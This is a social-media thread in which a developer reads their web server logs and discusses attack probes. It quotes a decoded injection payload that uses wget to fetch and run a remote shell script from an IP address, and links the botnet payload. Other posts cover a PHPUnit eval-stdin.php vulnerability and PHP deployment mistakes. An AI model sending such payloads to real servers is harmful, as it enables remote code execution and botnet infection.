Luke WrenNov 12
Apparently some servers support a GET request that will curl a random bash script from the internet and run it. Useful feature, that. (Adventures in reading my nginx logs)
Show threadLuke WrenNov 12

Decodes to:

cat_id=${system(wget -qO- http://74.194.191.52/rondo.wcr.sh|sh)}

I have to admire the use of POSIX-compliant shell.

Payload is here if anyone is curious: https://pastes.io/wcrrondosh

Obviously don't run it but I love that if you get down far enough it will try to execute a Motorola 68k binary

Pastes.io

wcr.rondo.sh

Pastes.io
Show threadLuke Wren

4.217.221.207 - - [12/Nov/2025:23:27:53 +0000] "GET /xmrlpc.php HTTP/1.1" 404 146 "-" "-"

That's not how you spell xmlrpc, and that's not where wordpress puts that

Nov 12 at 11:31pmWeb
Show threadLuke WrenNov 12
Faintly surprised to learn from a malware binary payload that there are ARC 700 systems running systemd. I didn't even know these things had virtual memory
Show threadLuke WrenNov 12

I'd guess it's a variant of this: https://www.fortinet.com/blog/threat-research/rondobox-unveiled-breaking-down-a-botnet-threat

Mine has an identical init.d script format string embedded, not obfuscated, it just comes out with `strings` lol

RondoDox Unveiled: Breaking Down a New Botnet Threat | FortiGuard Labs

FortiGuard Labs analyzes RondoDox, a stealthy new botnet targeting TBK DVRs and Four-Faith routers via CVE-2024-3721 and CVE-2024-12856. Learn how it evades detection, establishes persistence, and …

Fortinet Blog
Show threadLuke WrenNov 13

Based on nginx logs there is a package called phpunit which ships a file called, and I am 100% serious, `eval-stdin.php`.

Feels like security research is 10% the most intense shit you've ever seen and 90% "oh no! we left the untrusted strings next to the String Executor!"

Show threadLuke WrenNov 13
It does exactly what you think btw https://nvd.nist.gov/vuln/detail/cve-2017-9841
NVD - cve-2017-9841

Show threadaksNov 13
@wren6991 Work story told by a friend: one of their websites were "mysteriously wiped out", more than once, and people were speculating whether it was a repeated hacker attack… until someone found an "init-database.php", reachable by crawler bots.
Show threaddmi 💽 Nov 13

@wren6991 i briefly researched this at one point (as I’ve also seen this in my logs)

turns out that this was a part of their test suite that wasn’t supposed to be shipped on any public pages. so in most cases it was downstream’s fault for leaving the composer package directory below the webroot, i suppose?

PHP is full of really idiotic gotchas like this, i swear there’s no reason for the structure to be like this

Show threadDave bauerNov 14
@domi @wren6991 You know just keeping the XML config files with all of your secrets under the web root. What could go wrong, I'm sure someone will remember to configure the web server to hide those.
Show threadÖlbaumDec 8
@domi PHPUnit is a unit test package. It goes in the dev dependencies. You don’t ship the dev dependencies to production. A lot of other languages also have package managers where you shouldn’t ship the dev dependencies to production.
@wren6991
Show threadMichaelNov 14
@wren6991 make it a conference talk! https://hachyderm.io/@richardstephens/115422229767747629
Richard Stephens (@[email protected])

Security conference talks fall into two categories * we designed a distributed entropy siphon to perform a black-box hypervisor side channel escape and chain-load a persistent rootkit into the CPU cache * we looked behind the sofa and found an entire industry of products/services that have made no attempt at security at all and are therefore vulnerable to the most basic issues that we've been finding in everything for the past 30 years, and no-one else had bothered to look.

Hachyderm.io
Show thread✧✦Catherine✦✧Nov 12
@wren6991 I assume they just built for Everything. maybe chatgpt did it for them
Show threadSnowFoxNov 13

@whitequark @wren6991 "They built for everything" is what i686/i586/i486 suggests to me (AIUI they could just use the i486 binary for all of those, and I'm a little surprised there's no i386).

Also m68k, sparc, and sh4!

Show thread✧✦Catherine✦✧Nov 13
@snowfox @wren6991 yeah nobody has m68k systems to exploit
Show thread✧✦Catherine✦✧Nov 13
@snowfox @wren6991 and who even runs webservers on sh4??
Show threadSnowFoxNov 13

@whitequark @wren6991 Given https://types.pl/@wren6991/115539436810358737 I assume it's some random networked device. Wikipedia says "car multimedia terminals, video game consoles, ... or set-top boxes"; maybe some set-top boxes have an HTTP control interface? IP camera?

68k seems more surprising/worrying, since when I last checked they had terrible performance (<100 MHz I think?) and were also really pricey. I assume they're used in industrial-type things that *really* shouldn't be exposed to the internet.

Luke Wren (@[email protected])

I'd guess it's a variant of this: https://www.fortinet.com/blog/threat-research/rondobox-unveiled-breaking-down-a-botnet-threat Mine has an identical init.d script format string embedded, not obfuscated, it just comes out with `strings` lol

types.pl